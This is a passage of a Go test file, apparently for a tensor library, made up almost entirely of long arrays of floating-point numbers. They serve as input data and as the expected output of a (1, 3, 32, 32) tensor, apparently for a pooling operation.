-0.1105905, -0.43243197, 1.0770375, -0.22482656, -0.5762418, 0.5746089, -0.48982823, 0.65880215, -0.5969171, -0.22295918, 0.15217698, -0.37412632, -0.013451469, 0.81547195, 0.4106018, 0.48096985, -0.63543046, 0.85282975, 0.66956234, 1.0044192, -0.7263658, -0.1724586, 0.6335339, -0.60881513, -0.22612247, 1.9258057, 1.951761, 1.2399405, 0.93858516, -1.0192511, 0.5125622, -0.35911658, -1.0585719, -0.50900584, 0.11566507, -0.5473556, -0.5507994, 0.7920415, 0.14410649, 0.23345809, 0.1118724, -0.67570317, -1.370572, 0.3105647, -0.5070366, -2.0107822, -0.39256725, -1.0922179, 0.69865024, 0.5216252, 0.49689314, -0.6650416, 0.7315516, 0.3196498, -0.40985453, -0.45333743, 0.8927082, -0.47360405, 0.30365646, 1.033957, 1.9093426, 1.6638731, 0.90082276, -1.5059114, -0.6890484, -0.5480872, 1.6531498, -0.69931793, 0.38616636, 0.10086706, -0.9351272, 0.38182402, 0.3982961, -1.2557749, 1.2228775, -2.08651, -0.59075713, 0.9719703, -1.1932578, 0.35026592, -1.2963604, -0.09302414, -2.3137732, -0.8425717, -1.5429214, -0.40176374, -0.4152314, -0.67366415, 0.7979132, -0.8868796, 0.63438666, 1.6292758, 0.13906415, -0.8576702, -1.2493385, -0.7097851, 0.7046427, 0.15559073, 0.93679523, 0.7703309, 0.14081065, 0.47348827, 1.8552462, 1.4156562, -0.30274603, 0.98967946, 0.58585083, 1.1363881, 0.67161655, -0.9741674, -1.6196846, 0.572627, 1.9026182, -0.7756641, -0.18808974, -1.0357478, 1.1778295, -2.305167, -2.2636602, 0.3750199, -0.082343645, -0.47962302, -0.3010948, 0.5369879, -0.413804, -1.096925, -0.9273629, 0.88833886, -0.52474195, -1.3852776, 0.10217833, 0.50499475, 1.3289608, 0.21790339, -0.65971124, 0.47400787, 0.7271749, -0.038905308, -0.04459939, 0.2601329, -0.069856495, 0.2501139, -1.0219133, -1.1504377, -0.83611137, 0.64221096, 0.25879756, 1.040239, -0.18669093, -1.1436414, 1.1445535, -0.018767055, 1.283455, 0.59794647, 2.1886187, -0.21977298, 0.90072393, 0.8913641, -0.55512637, -0.17248231, -1.4617383, -1.5487962, 0.1265688, 0.7930071, 0.63802403, 0.3400246, 0.86301714, -0.5896978, -0.27253276, 0.7375215, 0.43311873, -0.21018882, 1.3207943, -1.2920012, -0.51867867, -0.28339776, 0.8165349, 0.002385198, -1.2614918, 0.5140042, 1.0875463, 0.73930454, 0.61915493, -1.8743135, -0.8998865, 0.4820806, -0.054888185, 0.5225576, -1.2663426, -0.061494764, -1.389781, -1.9536786, 0.29577908, 0.8425888, 0.24561642, -0.03299648, -1.5620143, 1.0061071, -0.044044897, 1.9595621, 0.9423143, -2.0051255, 0.7550497, -1.3965353, -0.7594955, -0.25075668, -0.09406245, 0.39756522, -1.022855, -1.150692, 0.6006052, -0.013250268, 0.17437305, -2.1936834, -0.17713739, -0.8907292, -0.9206264, 0.9219348, -1.0956712, -1.0928966, -0.3310106, 0.45028883, -0.8840147, 1.2341441, 1.4498476, -0.8814471, -0.24508175, -0.7786755, -1.6853821, 0.30301106, 0.7335949, 2.0118642, -0.8974095, 1.336235, 1.3423537, 0.19785331, 0.6021635, 0.8732731, 1.9741, 0.47780856, -0.060137887, -0.8661688, 0.30532077, 1.0241649, 0.24461035, -0.77992326, 0.089076206, -0.12915348, 0.26473877, -1.6618484, 0.55078864, 0.59542316, 0.44485343, -0.0037628172, -1.8059362, -0.019322792, 1.060715, -0.8601289, -1.9892695, -1.540558, 0.3140257, 0.37287602, 0.8862932, -0.055258997, -1.5003284, -0.81850415, 0.8188394, 0.14049591, 0.6498296, 0.4347888, -0.20496055, -0.17400683, 1.8571023, 0.41467425, -0.12858754, 0.45542, 0.22290581, -2.1573563, 0.6500845, 1.8209393, -0.7802799, 1.4540358, -0.2568697, 0.2934714, 1.0703601, -0.72000146, 1.2424939, -1.2142173, -0.87515473, -0.59352034, 0.66200536, -0.3408744, -1.5199745, -0.21653287, -0.7842214, 0.7312936, -0.34323505, 0.07077408, -0.40547246, 0.43393898, -0.18359077, 0.3251987, -2.5933886, 0.09725088, 0.41391367, -0.19928005, 0.66939247, 0.73860705, 1.3042139, 0.10481161, -1.9138007, -2.2854993, -1.601841, -0.03790706, -0.15730529, 0.27623984, -0.6252459, -0.73649114, 0.5550479, 0.65592444, -0.25665015, -0.038476657, 0.40431434, 0.50434357, -1.1439807, -0.71957386, -1.230546, -0.5069066, 0.8123336, 0.54627186, -1.0980979, 0.51226676, 0.08584311, -0.4939267, -1.4064597, -0.17482337, 0.679944, -2.1630976, -0.3961232, 2.2542837, 0.67263675, 0.2598325, -0.7371852, -0.6783298, -0.083288394, 1.6028637, 0.4655892, -0.8721584, 1.176787, -0.2925942, 1.6973464, -0.566603, -1.0032657, 0.17462958, 0.982327, 1.0374448, 0.15919177, -0.9880967, -0.5053407, -2.018282, -0.9131215, -0.17845681, 0.38900214, -0.33945432, -0.056979056, -0.39618546, 0.7510253, -0.89911294, 0.8375479, 1.9608808, 0.47278965, -0.5270916, -0.53627014, 1.2098372, -1.1265894, -0.95380443, -1.1644485, -1.2785138, -1.0448164, 0.78990495, 1.1022825, -0.6970731, 0.20733404, 0.7591567, 0.100564204, -0.95494276, -1.4704018, 1.0104276, 0.4961794, 0.5769559, -1.107647, 0.23497719, 0.6289996, 0.31403384, -0.7450232, 1.0122606, -1.527632, 0.92874193, 1.081056, 1.5723304, -0.3424922, -0.99943, 0.79388034, -0.6992153, 0.04399551, -0.3174622, -0.90207195, 0.32099947, -1.3920159, 0.5922057, -0.9669311, -1.7317313, -0.05010746, 0.43163386, 0.5769346, 0.8183537, -2.3536403, -1.0051445, 0.1066523, 1.5190033, 0.7837445, 1.90134, -0.5249394, 0.27441698, -1.0999708, -0.40435222, -0.7352957, -0.6339887, -0.39344913, 0.00271754, 0.022212664, 0.54345345, 0.13998847, -0.34404564, -0.52257854, -0.3071317, -0.44903713, 0.49097106, 0.8655252, 1.2740445, -0.7977028, 0.4693722, -1.3946797, 0.37317473, 1.0826722, -0.14958951, 1.072636, -1.1385679, -0.8886453, -0.13580984, 1.0222104, -0.41742945, -0.4535531, -0.99162835, 0.20288104, 1.2466952, 0.70068014, 0.6966507, -0.20697448, -0.5633094, 0.6772459, -0.031911075, -0.17360823, 0.8982406, -0.19778745, -0.83777624, 0.9091885, 0.08071989, -1.0370294, -1.1129059, 0.095411874, 2.3374097, -0.3928206, -0.33627385, 1.5237712, -0.0572812, -1.4484669, -1.5727965, 1.226664, 0.66635454, 0.8261257, -0.057756558, -0.72671205, -0.21716312, 0.13603121, -0.83831114, 0.5614499, -1.2595961, -0.33275875, -0.20400788, -0.69101983, -2.2055054, 0.44786966, -0.7557508, 1.3257079, -0.34198228, -0.5413596, 0.09152195, 1.0534397, -0.56340766, 1.0147377, 1.4403037, 0.9903228, 1.6264315, 1.292646, 1.5148823, 1.6043264, 0.20806953, -0.4292239, -2.2622437, -1.3227332, -0.4482828, -0.3817351, -0.15279447, -1.0007604, -1.5957776, -0.13022317, -0.18941793, -0.80755407, -0.74215215, -0.9401566, -0.39652374, -0.8563028, 1.2598753, 0.24099673, -0.97231793, -0.28044778, -1.1802856, 1.0121683, 1.3841867, 1.252002, -1.1446927, -0.09126702, -0.40157068, 0.5620131, -1.0079098, -0.6758917, -0.41321704, 0.15328847, 0.6941287, -0.3287277, 0.66396505, 0.8220764, -0.21321523, -1.2456582, -1.1711904, 0.59172696, -0.47622442, -1.7126293, 0.61295235, 0.12955453, -1.4059671, 1.17942, 0.836636, 0.13874525, -1.2743194, -1.4023305, -0.3070685, -1.7139153, 0.40508026, -1.4108233, 0.16491273, -0.28813145, 0.71178526, -0.9379476, 0.27372944, -1.3948402, 0.7955496, -0.114961766, 0.49585068, -1.3205253, 0.49908426, 0.3062034, 0.3636979, 0.31263396, -0.19346388, 1.2412993, -0.15589799, -0.7391692, -0.05872619, -0.95051795, -0.4639964, -0.17724662, -0.37955412, 0.19939707, 1.9457614, 0.57094985, 1.0723007, -0.50370944, -0.5870163, -0.37817806, 0.8528891, -2.1481185, -1.0331647, 0.10233585, -0.22409236, 1.9677297, 0.44768322, -0.66219145, -1.577607, -0.34056005, -1.30322, 0.46675065, 0.16110632, 0.32003194, 2.0791767, -0.907466, -0.19240421, -1.2125157, -0.08059852, 1.5932736, 0.5687224, -0.114487045, 0.25163025, -1.2108556, -0.3937337, 0.085252576, 0.099421985, -1.5306163, 0.3276232, 0.2791965, -0.3770512, 0.004174999, -1.4834915, -1.4797956, 0.13468726, -0.6677232, -0.01155552, 0.83949065, -0.17392993, -2.810668, -0.15065365, -0.48104402, -0.23469436, 0.8997308, -1.5785302, 0.24395663, 1.5703039, -0.6259431, 0.4723279, 0.9663058, 0.21023144, -0.685097, -0.709521, 0.74380016, 0.5921491, -0.7864684, -1.1764731, -1.2808067, 1.6616518, -0.06794512, 2.3602285, 0.5555456, 0.43952233, 0.30627248, 0.99914986, -0.9660632, 2.1600132, -0.100301705, -0.7034001, 0.302561, 1.0923389, -1.0075549, 0.5668694, -0.71644413, -0.5062735, -0.48948243, 0.76354146, -1.1090727, 0.1926161, -0.34341785, -0.84721017, -1.2135236, -1.2028884, -1.633796, 0.8961672, -0.24165316, 0.15865193, 1.1781894, -1.2201172, -0.94154567, 0.25471553}),
),
outputT: tensor.New(tensor.WithShape(1, 3, 32, 32),
tensor.WithBacking([]float64{1.7640524, 0.978738, 2.2408931, 2.2408931, 1.867558, 1.2023798, 0.95008844, -0.10321885, 0.41059852, 0.41059852, 1.9507754, 1.9507754, 0.7610377, 0.44386324, 0.7774904, 1.4940791, 1.4940791, 0.3130677, 0.3869025, 0.3869025, 0.6536186, 0.8644362, 0.8644362, 2.2697546, 2.2697546, 0.3024719, 0.045758516, 1.5327792, 1.5327792, 1.4693588, 0.37816253, 0.37816253, 0.17742614, -0.34791216, 0.46278226, 1.2302907, 1.2302907, 1.2023798, 0.7290906, 1.1394007, 1.1394007, 0.40234163, 1.9507754, 1.9507754, -0.4380743, -0.31155252, 0.7774904, 0.7774904, 0.9008265, 0.9008265, 0.46566245, 1.4882522, 1.8958892, 1.8958892, 1.1787796, 0.42833188, 1.0544517, 1.0544517, 1.222445, 1.222445, 0.97663903, 0.97663903, 0.7065732, 0.7065732, 1.7858706, 1.7858706, 0.46278226, 1.8831507, 1.8831507, 0.7290906, 0.9693967, 1.1394007, 1.9436212, 1.9436212, 0.40234163, 1.922942, 1.922942, 1.867559, 1.867559, 0.90604466, 1.9100649, 1.9100649, 0.8024564, 1.4882522, 1.8958892, 1.8958892, 1.1787796, 0.9222067, 1.0544517, 1.0544517, 1.3263859, 1.3263859, 0.97663903, 0.97663903, 1.8492638, 1.8492638, 1.7858706, 1.7858706, 0.5392492, 1.8831507, 1.8831507, 0.031830557, 0.9693967, 0.9693967, 1.9436212, 1.9436212, 0.3960067, 1.922942, 1.922942, 1.867559, 1.867559, 2.3831449, 2.3831449, 1.9100649, 1.1170163, 1.1170163, 0.947252, 0.61407936, 1.7133427, 1.7133427, 0.37642553, 0.2982382, 1.3263859, 1.3263859, 1.1266359, -0.14963454, 1.8492638, 1.8492638, 1.929532, 1.929532, 0.9494208, 0.5392492, 0.844363, 0.844363, 0.67643327, 1.1880298, 1.1880298, 0.9208588, 0.9208588, 0.8568306, 0.8568306, 0.4393917, 0.6815945, 2.3831449, 2.3831449, 0.94447947, 1.1170163, 1.1170163, -0.35399392, -0.0682416, 1.7133427, 1.7133427, 0.62523144, -0.09845252, 0.05216508, 1.1266359, 1.5430146, 1.5430146, 0.26705086, 0.26705086, 1.929532, 1.929532, 0.9494208, 0.77179056, 0.844363, 2.163236, 2.163236, 1.336528, 1.1880298, 1.0996596, 1.0996596, 0.8568306, 0.8568306, -0.024326125, 0.6815945, 0.6815945, 0.2799246, 0.9101789, 0.9101789, 0.78632796, 0.78632796, -0.4664191, -0.4100497, 0.62523144, 0.62523144, 2.259309, 2.259309, 0.05216508, 1.5430146, 1.5430146, 0.48148146, 0.48148146, 0.06326199, 0.5232767, 0.5232767, 0.77179056, 0.82350415, 2.163236, 2.163236, 1.336528, 0.41605005, 1.0996596, 1.0996596, 1.4944845, 1.4944845, 0.42625874, 0.676908, 0.676908, 0.2799246, 0.9101789, 0.9101789, 0.78632796, 0.78632796, 1.1523316, 1.1523316, 1.0796186, 0.37915173, 2.259309, 2.259309, 0.14195317, 0.14195317, 0.69153875, 0.6947491, 0.6947491, 0.06326199, 0.15650654, 0.6103794, 0.6103794, -0.23792173, -0.23792173, -0.052567296, -0.052567296, 0.41605005, 0.52389103, 0.7811981, 1.4944845, 1.4944845, 0.42625874, 0.676908, 1.9559124, 1.9559124, 0.39009333, -0.13288058, 0.49374178, 0.49374178, 1.1523316, 2.064493, 2.064493, 1.0201727, 1.0201727, 1.5363771, 1.5363771, 0.60884386, 0.69153875, 1.2111453, 1.2111453, 1.3018463, 1.3018463, 0.6103794, 2.3039167, 2.3039167, -0.1359497, 1.1368914, 1.1368914, 0.5829537, 0.5829537, 0.52389103, 0.37005588, 1.6581306, 1.6581306, 0.39904633, 1.9559124, 1.9559124, 0.39009333, -0.39095336, 0.69377315, 0.69377315, -0.11610394, 2.064493, 2.064493, 1.0201727, 1.0201727, 1.5363771, 1.5363771, 0.60884386, 0.60884386, 1.2111453, 1.2111453, 1.3018463, 1.3018463, 0.27451634, 2.3039167, 2.3039167, -0.1359497, 2.2567234, 2.2567234, 0.9432607, 0.9432607, 0.7471883, 0.77325296, 1.6581306, 1.6581306, 0.60631955, 0.6663831, 0.6663831, 0.45093447, 1.6595508, 1.6595508, 1.0685093, -0.13370156, 1.0777438, 1.0777438, -0.28035548, -0.28035548, 0.15670386, 0.5785215, 0.5785215, 0.34965447, -0.0616264, -0.10730527, 1.3645319, 0.27451634, 0.27451634, -0.52118933, -0.31229225, -0.15766701, 2.2567234, 2.2567234, 0.9432607, 0.9432607, 0.93184835, 0.77325296, 0.77325296, 0.16092817, 0.60631955, 0.60631955, 0.45093447, 0.45093447, 1.6595508, 1.6595508, 1.0685093, 0.04949498, 0.4938368, 0.6433145, 0.6433145, -0.20690368, 0.8801789, 0.8801789, 0.5785215, 0.38728046, -0.76414394, -1.0225068, 1.3645319, -0.6522936, -0.52118933, 1.648135, 1.648135, 0.5672903, 0.6203583, 0.6984571, 0.6984571, 0.93184835, 0.93184835, 0.8579239, 1.1411018, 1.4665787, 1.4665787, 0.85255194, -0.26773354, 0.7666632, 0.7666632, 0.8416313, 0.8416313, 0.8145198, 0.8145198, 0.6433145, 0.6433145, -0.20690368, 0.8801789, 0.8801789, 0.38728046, 1.7327212, 1.7327212, 0.6845011, 0.370825, 1.5199949, 1.7195894, 1.7195894, 1.648135, 0.5822246, 0.5672903, 0.12372191, 0.09395323, 0.9430461, 0.9430461, 0.8579239, 1.1411018, 1.4665787, 1.4665787, 0.8689635, 0.8689635, 0.7666632, 0.7666632, 0.8215857, 0.8215857, 0.8145198, 0.8145198, 0.078260176, -0.18505368, -0.085930765, 0.800298, 0.87583274, 0.87583274, 1.7327212, 1.7327212, 0.6845011, 0.370825, 1.5199949, 1.7195894, 1.7195894, 0.9295051, 0.5822246, 2.0210435, 2.0210435, 0.09395323, 0.9430461, 0.9430461, -0.050603542, 0.26990435, 0.26990435, 0.18133843, 0.8689635, 2.4124537, 2.4124537, 0.3148172, 0.8215857, 0.8215857, 0.8005648, 0.8005648, 0.078260176, -0.27567053, 1.7388726, 1.7388726, 1.3191369, 1.3191369, 1.128594, 1.128594, 0.49600095, 1.0294389, 1.0294389, 0.8202478, 0.86259604, 0.86259604, 1.5133281, 2.0210435, 2.0210435, 0.22050765, 0.22050765, 0.1993002, 1.1002843, 1.298022, 2.696224, 2.696224, 0.18133843, 2.4124537, 2.4124537, -0.07785475, 0.38273242, 0.38273242, 1.0963469, 1.0963469, -0.2342158, -0.27567053, 1.7388726, 1.7388726, 1.3191369, 1.3191369, 1.3014281, 1.3749641, 1.3749641, 1.0294389, 1.0294389, 0.17581895, 0.86259604, 1.0479722, 1.5133281, 1.7426687, 1.7426687, 0.22050765, 0.22050765, -0.34994337, 1.1002843, 1.298022, 2.696224, 2.696224, 1.4123276, 0.8640523, 0.8640523, 0.40149906, 1.2248706, 1.2248706, 1.0963469, 1.0963469, -0.2342158, -0.18224478, -0.18224478, -0.10988278, 0.21348006, 1.3014281, 1.3014281, 1.5182612, 1.5182612, -0.38464543, 1.0781974, 1.0781974, 1.1813786, 1.1813786, 1.0479722, 1.7426687, 1.7426687, 0.9424681, -0.26759475, 1.2978458, 1.2978458, 0.24211796, 0.9367425, 1.4123276, 2.0112567, 2.0112567, 0.8640523, 0.40149906, 1.2248706, 1.2248706, 0.3547577, 0.61688656, 0.61688656, 0.5270042, 0.5270042, 0.4537819, 0.21348006, 0.76790243, 0.76790243, 1.5182612, 1.5182612, -0.38464543, 1.0781974, 1.1330799, 1.1813786, 1.1813786, 0.16392857, 0.7849575, 0.9424681, 0.9424681, -0.21694957, 1.2978458, 1.2978458, 0.020334182, 0.5433119, 0.5433119, 2.0112567, 2.0112567, 0.35178012, 0.37923554, 0.37923554, 0.1965574, 0.3547577, 0.61688656, 0.61688656, 0.5270042, 0.5270042, 0.4537819, 0.23810315, 0.76790243, 0.76790243, 0.5898798, -0.36385882, 0.115147874, -0.13105401, 1.1330799, 1.1330799, 0.895556, 0.895556, 0.7849575, 0.7849575, 0.32962298, 1.285984, 1.285984, 0.67646074, 0.67646074, 0.5433119, 0.5433119, 0.43904296, -0.21954103, 0.35178012, 1.670943, 1.670943, -0.0013850428, -0.0013850428, -0.11747455, 0.46616644, 0.46616644, 0.41731882, 0.40326455, 0.40326455, 0.25249663, 0.8203218, 1.3599485, 1.3599485, 1.3675972, 1.3675972, 1.0344099, 0.60512006, 0.895556, 1.0289356, 1.0289356, 0.40476182, 1.5522432, 1.5522432, 1.285984, 0.67646074, 0.67646074, 0.52004063, 0.4497121, 0.4497121, -0.067275606, 0.1833392, 1.670943, 1.670943, -0.0013850428, 0.45248908, 0.45248908, 0.46616644, 0.46616644, -0.023423105, 1.0791948, 1.0791948, 0.37687653, 0.8203218, 1.3599485, 1.3599485, 1.3675972, 1.3675972, 1.0344099, 0.39306292, 1.017021, 1.4229835, 1.4229835, 0.39608657, 1.5522432, 1.5522432, 0.86740744, 0.86740744, 0.52004063, 2.116791, 2.116791, 0.4497121, 2.3807454, 2.3807454, 0.94924647, 0.94924647, -0.9327409, 0.45248908, 1.0907497, 1.0907497, -0.34624946, 0.19796729, 1.0819352, 1.0819352, 0.37687653, 0.37687653, 1.0946383, 1.0946383, 2.1321535, 2.1321535, 0.9364457, 1.2650778, 1.2650778, 1.4229835, 1.4229835, 0.67997485, 1.1244192, 1.3277828, 1.3277828, 0.86740744, -0.46433768, 2.116791, 2.116791, -0.035768073, 2.3807454, 2.3807454, 0.94924647, 0.94924647, -0.8871809, -0.5327028, 1.2433194, 1.2433194, 0.81267405, 0.58725935, 1.0819352, 1.0819352, -0.5075176, 2.4972005, 2.4972005, 1.0946383, 2.1321535, 2.1321535, 0.9364457, 1.2650778, 1.2650778, 1.7549862, 1.7549862, 0.67997485, 0.55578697, 1.3277828, 1.3277828, 0.72003376, 0.30360392, 1.0217906, 1.0217906, 0.44819528, 1.6961815, 1.6961815, 0.82140595, 0.82140595, 0.67057043, 0.039766736, 1.2433194, 1.2433194, 0.81267405, 0.7231005, 0.7231005, 0.71998376, 0.71998376, 2.4972005, 2.4972005, 0.019279385, 1.8495913, -0.10434349, 0.021351224, 0.021351224, 0.19275385, 1.7549862, 1.7549862, -0.058586553, 0.55578697, 0.55578697, 0.72003376, 1.4893559, 1.4893559, 0.7726948, 0.7726948, 0.47689837, 1.6961815, 1.6961815, 0.82140595, 0.82140595, 0.67057043, 0.039766736, 0.039766736, -0.050084095, 1.3124703, 1.3124703, 0.7231005, 0.71998376, 0.71998376, -0.10169727, 0.019279385, 0.019279385, 1.8495913, 0.78580385, 0.021351224, 0.9409176, 0.9409176, 0.49805242, 0.49805242, -0.026192237, -0.058586553, -0.112465985, 0.6450553, 1.4893559, 1.4893559, 0.6119272, 1.735879, 1.735879, 1.6819217, 1.6819217, 0.5290452, 0.4226286, 0.0114989, 0.0114989, -0.050084095, -0.050084095, 1.3124703, 1.3124703, 2.2259443, 2.2259443, 1.370989, 0.3248696, 0.997118, 0.997118, 1.411172, 0.78580385, 0.8672766, 0.9409176, 0.9409176, 0.49805242, 0.49805242, 0.31144708, 0.23958276, 0.9725358, 2.1338682, 2.1338682, 1.0118425, 0.7557403, 1.735879, 1.735879, 1.6819217, 1.6819217, 0.022959756, 0.022959756, 0.0114989, 0.0114989, -0.43674833, -0.43674833, 0.3269626, 0.33003512, 2.2259443, 2.2259443, 1.370989, 0.3248696, 0.997118, 0.997118, 0.22739278, 0.05157494, 0.8672766, 0.8672766, 0.8656529, 1.0813761, 1.0813761, 0.31144708, 0.23958276, 0.9725358, 2.1338682, 2.1338682, 0.4064155, 0.7557403, 0.7557403, 1.3264617, 1.3264617, 0.059894685, 0.059894685, -0.21252304, -0.34796184, 0.93639857, 0.93639857, 0.2711702, 0.2711702, -0.40607178, 0.47224715, 1.154184, 1.154184, 0.17250441, 1.997956, 1.997956, 0.22739278, 2.5944245, 2.5944245, 0.30875126, 0.8656529, 1.0813761, 1.0813761, 0.19031155, 1.8227236, 1.8227236, 0.69938046, 0.9606934, 1.3290628, 1.3290628, 0.05095428, 1.3264617, 1.3264617, 0.059894685, 0.96744615, 0.96744615, -0.055352546, 0.93639857, 0.93639857, 0.2711702, 1.2760754, 1.325014, 1.325014, 0.9304085, 2.339625, 2.339625, 1.997956, 1.997956, 1.471322, 2.5944245, 2.5944245, 0.30833125, 0.30833125, 0.3675449, 0.3675449, 0.19031155, 1.8227236, 1.8227236, -0.5215797, 0.9606934, 1.3290628, 1.3290628, 2.759355, 2.759355, 1.0304383, 0.27560067, 1.4350494, 1.4350494, 0.5072389, 0.3528166, 0.3528166, 1.4013448, 1.4013448, 1.325014, 1.325014, 0.86351967, 2.339625, 2.346647, 2.346647, -0.25957698, 1.471322, 1.5927707, 1.5927707, 0.82998616, 0.30833125, 0.012231983, 1.5692596, 1.5692596, 1.6815767, 1.6815767, 0.9688826, 0.9688826, 1.3891454, 2.0140603, 2.759355, 2.759355, 0.25871643, 0.27560067, 1.4350494, 1.4350494, 0.5072389, -0.1162297, 1.0645851, 1.4013448, 1.4013448, 0.5289436, 0.7243685, 1.3852615, 1.3852615, 2.346647, 2.346647, 0.17879286, 0.9380925, 0.9380925, 0.82998616, 0.82998616, 0.0941923, 0.0941923, 1.5692596, 1.5692596, 0.8924739, 0.8924739, 0.9688826, 0.9688826, 1.3891454, 2.0140603, 2.0140603, -0.04932407, 0.2390336, 0.2390336, 1.6739857, 1.6739857, 1.5634048, 1.5634048, 1.0645851, 1.0645851, 0.43310794, 0.43310794, 0.7243685, 1.3852615, 1.3852615, 0.70104134, 0.44103292, 0.17879286, 0.2407875, 0.2891205, 0.41287082, 0.41287082, 0.0941923, 0.0941923, -0.35811406, 0.5559627, 0.8924739, 0.8924739, 0.10471403, 0.22805333, 0.22805333, 0.5407736, 0.5407736, -0.04932407, 0.2390336, 0.2390336, 1.6739857, 1.6739857, 1.5634048, 1.5634048, -0.790523, 0.22425222, 0.22425222, 0.2149656, 0.2149656, 1.0156653, 1.0156653, 0.70104134, -0.41747734, -1.0974966, 1.7123052, 1.2649833, -0.30078387, 1.1173053, 1.1173053, 0.22246316, 0.22246316, 0.13768983, 0.38141626, 0.7539915, 1.0653155, 1.0653155, 0.9853175, 0.7669197, 0.40262553, 1.6692508, 1.6692508, 0.60815644, 1.1149623, 1.4333525, 1.4333525, 0.43554616, 0.43554616, 0.32830128, 0.03308975, 0.5969065, 0.5969065, -0.15602389, 1.0490932, 3.1709747, 3.1709747, 0.18949963, 1.2649833, 1.2649833, -0.2311016, 0.20984948, 0.20984948, 2.1495745, 2.1495745, 0.73165894, 0.73165894, 0.38141626, 0.6632581, 0.6632581, 0.41540062, 1.5788652, 1.5788652, -0.061638054, -0.061638054, 0.26902407, 0.93874687, 1.2674117, 1.2674117, 0.49949825, 1.2591671, 1.2591671, 0.70411104, 2.5263681, 2.5263681, 1.7699214, 0.3779101, 1.3243587, 1.3243587, -0.1722008, 1.1045785, 1.1045785, -0.2311016, 0.9214084, 0.9214084, 2.1495745, 2.1495745, 0.73165894, 0.73165894, 0.34816924, 0.6632581, 0.82455724, 0.82455724, 1.5788652, 1.5788652, 0.21717963, 0.21717963, 1.4045455, 1.4045455, 1.2674117, 1.2674117, 1.5187594, 1.5187594, 1.2591671, 0.76449746, 2.5263681, 2.5263681, 1.7699214, 1.221385, 1.3243587, 1.3243587, -0.1722008, 1.1045785, 1.1045785, 1.3978963, 1.3978963, 0.9214084, 1.648504, 1.648504, -0.13256802, 1.4261588, 1.4261588, 0.93612915, 0.8326507, 0.8326507, 1.6315974, 1.6315974, 0.37775916, 0.2398671, 1.4045455, 1.4045455, 0.77067304, 0.77067304, 1.8219151, 1.8219151, 0.76449746, 0.76449746, 0.24660219, 0.99213684, 1.9050636, 1.9050636, -0.01477722, -0.033319283, -0.35502872, 0.5310425, 0.5310425, 1.3978963, 1.3978963, 0.9600477, 1.648504, 1.648504, 1.1239053, 1.4261588, 1.4261588, 1.3925184, 1.0375856, 0.8326507, 1.6315974, 1.6315974, 0.5897036, 0.2398671, 1.5848205, 1.5848205, 0.77067304, 0.77067304, 1.8219151, 1.8219151, 1.2961498, 1.2961498, 0.6164593, 0.99213684, 1.9050636, 1.9050636, 0.8805112, 0.08595198, 0.08595198, 0.75194657, 0.5629897, 1.054758, 1.054758, 0.9600477, 1.7746586, 1.7746586, 1.1239053, 0.76943016, 1.3925184, 1.3925184, 1.0375856, 0.30151406, 1.0390965, 1.0390965, 0.5897036, 1.7367749, 1.7367749, 1.5848205, 0.9605572, 0.9605572, 0.8709618, 0.8709618, 2.3207998, 2.3207998, 0.6164593, 0.53659654, 0.43480796, 0.8805112, 0.8805112, 0.732424, 0.08595198, 0.75194657, 0.5629897, 0.2711128, 1.0450233, 1.0450233, 1.7746586, 1.7746586, -0.16221845, 1.151734, 1.151734, 0.33053273, 0.13157398, 0.30151406, 1.0390965, 2.0234718, 2.0234718, 1.7367749, 1.7367749, 2.2436018, 2.2436018, 1.9223248, 1.9223248, 1.4053655, 2.3207998, 2.3207998, 0.53420115, 0.5474806, 0.5474806, 0.54009444, 0.732424, 0.732424, 0.54100823, -0.085115604, 0.966768, 0.966768, 1.0450233, 1.0450233, 0.59903955, 0.5232617, 0.09920486, 1.576299, 1.576299, 0.5023282, 0.16066119, 0.16066119, 1.6085222, 2.0234718, 2.0234718, 0.50538695, 0.35924914, 2.2436018, 2.2436018, 1.9223248, 1.9223248, 1.4053655, 1.6180543, 1.6180543, 0.42258036, 0.5474806, 0.5474806, 0.51283646, 0.6027077, 0.6027077, 0.54100823, -0.085115604, 0.966768, 0.966768, 0.6251187, -0.5216415, 0.5232617, 0.5232617, 0.09920486, 1.576299, 1.576299, 0.5023282, 0.16066119, 0.16066119, 1.6085222, 1.6085222, 1.1452621, 1.1452621, 0.7741606, 0.7741606, 0.10490716, 0.13391292, 0.31943184, 0.31943184, -0.13777922, 1.4961396, 1.4961396, 1.3462211, 1.3462211, 0.51283646, 0.62251914, 0.62251914, -0.5946498, 0.5684589, 0.4804245, 0.6251187, 0.83135104, 0.83135104, 0.48797268, 2.6429358, 2.6429358, 2.290467, 2.290467, 1.6002678, -0.059928004, -0.22007579, 1.3086687, 1.3086687, 1.1452621, 1.5259576, 1.5259576, 0.8820566, 0.8820566, 0.13391292, 0.13391292, 0.3718111, 0.45730963, 1.4961396, 1.4961396, 1.3462211, 1.3462211, 1.5885307, 1.5885307, 0.7747283, 0.7747283, 0.5684589, 0.4804245, 0.4804245, 1.0400863, 1.0400863, 0.88518757, 2.6429358, 2.6429358, 2.290467, 2.290467, 1.6002678, -0.008209882, 1.0429776, 1.0429776, 0.41409135, 0.24676603, 1.5259576, 1.5259576, 0.8820566, 0.8820566, 0.13191175, 0.76877064, 0.76877064, 0.45730963, 0.9623417, 0.9623417, 1.9470986, 1.9470986, 1.5885307, 1.5885307, 1.0212247, 0.7747283, 2.4512298, 0.41133425, 0.0025711823, 1.0400863, 1.0400863, 0.88518757, 1.4737648, 1.6606076, 1.6606076, 1.171041, -0.008209882, -0.008209882, 1.0429776, 1.0983036, 1.0983036, 0.15466884, 1.0415684, 1.0415684, 0.9785673, 0.9785673, 0.13191175, 0.76877064, 0.76877064, -0.4213276, 0.8756957, 0.8756957, 1.9470986, 1.9470986, 0.8091803, 1.0212247, 1.2016978, 1.2016978, 2.4512298, 0.87938994, 0.87938994, 0.63542455, 0.71593887, 0.71593887, 0.8809376, 1.8081318, 1.8081318, 0.43663847, 0.69643867, 0.69643867, 0.65178126, 1.0983036, 1.0983036, 0.025385605, 0.61039174, 0.61039174, 0.9785673, 1.7612661, 1.7612661, 0.7540957, 0.66596717, 0.11255753, 0.50099224, 0.50099224, 0.9361076, 0.9361076, 0.8091803, 0.88649154, 1.2016978, 1.2016978, 0.2847906, 0.87938994, 0.87938994, 0.63542455, 0.71593887, 0.71593887, 0.8809376, 1.8081318, 1.8081318, 0.43663847, 0.69643867, 0.69643867, 0.6878814, 1.3480358, 1.3480358, 2.6805708, 2.6805708, -0.20080851, -0.7401368, 1.7612661, 1.7612661, 0.7540957, 1.3185511, 1.3185511, 0.11255753, 0.067516856, 0.77760416, 0.77760416, 0.33601573, 0.88649154, 0.88649154, -0.27213177, 0.5483281, 0.5483281, 0.19718106, 1.0590272, 1.0590272, 